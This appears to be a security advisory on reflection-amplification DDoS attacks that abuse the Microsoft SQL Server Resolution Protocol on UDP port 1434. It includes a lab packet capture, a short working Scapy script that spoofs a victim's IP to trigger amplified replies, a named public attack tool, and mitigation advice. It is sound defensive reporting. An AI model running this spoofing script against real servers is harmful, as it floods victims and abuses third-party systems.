1.1 / OVERVIEW / Beginning in October 2014, PLXsert observed the use of a new type of reflection-based distributed denial of service (DDoS) attack. This new method of attack manifests in the form of Microsoft SQL Server responses to a client query or request via abuse of the Microsoft SQL Server Resolution Protocol (MC-SQLR), which listens on UDP port 1434. MC-SQLR provides a way for clients to identify the database instance with which they are attempting to communicate when connecting to a database server or cluster with multiple database instances. Each time a client needs to obtain information on configured MS SQL servers on the network, the SQL Resolution Protocol can be used.

The server will respond to the client with a list of instances. One such attack was analyzed by an information security researcher in January 2015.

PLXsert confirmed this attack with a publicly available tool. In addition, a weaponized tool that allows automatic execution of the entire attack was found.

Attackers abuse Internet-available SQL servers by executing scripted requests and spoofing the source of the query with the IP address of the intended target. Depending on the number of instances present in the abused SQL server, the amplification factor varies. This new attack vector has been spotted in several DDoS attack campaigns mitigated by Akamai.

1.2 / MALICIOUS PAYLOAD / This attack presents a specific payload signature, which is shown in Figure 1. This example produced an amplification factor of nearly 25x. In this case, the attacker’s request totaled 29 bytes, including IP and UDP headers, and triggered a response of 719 bytes including headers.

Some servers may produce a larger or smaller response depending on their configuration.

Figure 1: A UDP response packet payload sent to a target. Target information has been redacted for privacy.
Figure 2 and Figure 3 show network traffic between the spoofed source and the SQL Server instance. The SQL Server responds to a query with the database instances and their network protocol connection information.

The queries in Figure 2 are 1 byte payloads that result in 137 byte response payloads. This achieves both reflection and amplification on the response to the original request. The amplification may be larger if the targeted SQL server has multiple instances, because the server will respond with information on all configured instances. The potential amplification factor drives attackers to seek and probe for clustered SQL server hosts, which are usually present at Internet service providers (ISPs), hosting providers and Software-as-a-Service (SaaS) providers. The figures show the attack traffic and responses to a spoofed source, querying a single SQL Server Express instance.

```
// 192.168.1.101 spoofing request from .108
12:39:07.751261 IP 192.168.1.108.80 > 192.168.1.103.143: UDP, length 1
E.......@......m...g.P... s................
// reflected reply
E...:.....{Q...g...m...P...]......ServerName;TARGET1;InstanceName;SQLEXPRESS;IsClustered;No;
Version;9.00.1399.06;tcp;1433;np;\TARGET1\pipe\MSSQL$SQLEXPRESS\sql\query;;
12:39:11.744710 IP 192.168.1.108.80 > 192.168.1.103.1434: UDP, length 1
E.......@......m...g.P... s................
E...:.....{P...g...m...P...]......ServerName;TARGET1;InstanceName;SQLEXPRESS;IsClustered;No;
Version;9.00.1399.06;tcp;1433;np;\TARGET1\pipe\MSSQL$SQLEXPRESS\sql\query;;
12:39:32.326767 IP 192.168.1.108.80 > 192.168.1.103.1434: UDP, length 1
E.......@......m...g.P... s................
12:39:32.455674 IP 192.168.1.103.1434 > 192.168.1.108.80: UDP, length 137
```

Figure 2: Traffic capture of the attack reproduced in the lab, as seen by the reflector
1.3 / ATTACK TOOLS / PLXsert replicated this attack by creating a script based on Scapy, an open-source packet manipulation tool. The script is shown in Figure 4.

```python
#!/usr/bin/python2
from scapy.all import *

target = sys.argv[1].split(':')[0]
target_ip = target  
target_port = int(sys.argv[1].split(':')[1])
reflector_ip = sys.argv[2]
query = '03'.decode('hex')  

pkt=IP(src=target_ip,dst=reflector_ip)/UDP(dport=1434,sport=int(target_port))/query
send(pkt)
```

Other tools publicly available on the Internet could reproduce this attack as well. Replicating this attack does not require a high level of technical skill. A scripted attack would only require a list of SQL servers exposed on the Internet that respond to the query. Attackers could use an unicast client request 0x03 or a broadcast request 0x02. Both are requests with a data length of 1 byte that will produce the same type of response from SQL servers.

PLXsert identified a tool on GitHub on January 26, 2015, that weaponizes this type of attack for mass abuse. Figure 5 shows a screenshot of the github page for the project named mssqldos.
The mssqldos tool automates the spoofing of sources and the query of targeted servers for abuse. The responses will be reflected back to the intended target. The tool simplifies the attack and increases the speed by offering simple list processing of vulnerable reflectors and multi-threaded packet flooding.

1.4 / RECOMMENDED MITIGATION / Server hardening procedures should always be applied to servers that are exposed to the Internet. As a general rule, services and protocols that are unnecessary should be disabled or blocked. This attack can only be performed by querying SQL servers with exposed SQL Server Resolution Protocol ports to the Internet. The following best practices can help mitigate this type of DDoS attack. These recommendations are by no means exhaustive and affected organizations should refine and adapt them further based on specific infrastructure and exposed services.

- Microsoft Technet: [Security Best Practices to Protect Internet Facing Web Servers](#).

- The use of ingress and egress filters applied to SQL server ports at firewalls, routers, or edge devices may prevent this attack. If there is a business case for keeping UDP 1434 open, it should be filtered to only allow trusted IP addresses.
- Block inbound connections from the Internet, if ports are not needed for external access or administration.

- SQL Server Resolution Protocol service is not needed in servers that have only one database instance. This has been disabled by default since Microsoft SQL Server 2008. It is not disabled in earlier or desktop engine versions. Disable this service to prevent the abuse of SQL server for this type of attack.

- If the use of SQL Server Resolution Protocol service is needed, add an additional layer of security before the service is accessed, such as authentication via secure methods (SSH, VPN) or filtering as described above.

**1.5 / DDOS MITIGATION** / PLXsert recommends the use of upstream filtering to mitigate the UDP traffic generated by this DDoS attack to protect the servers being targeted with the reflected, amplified traffic.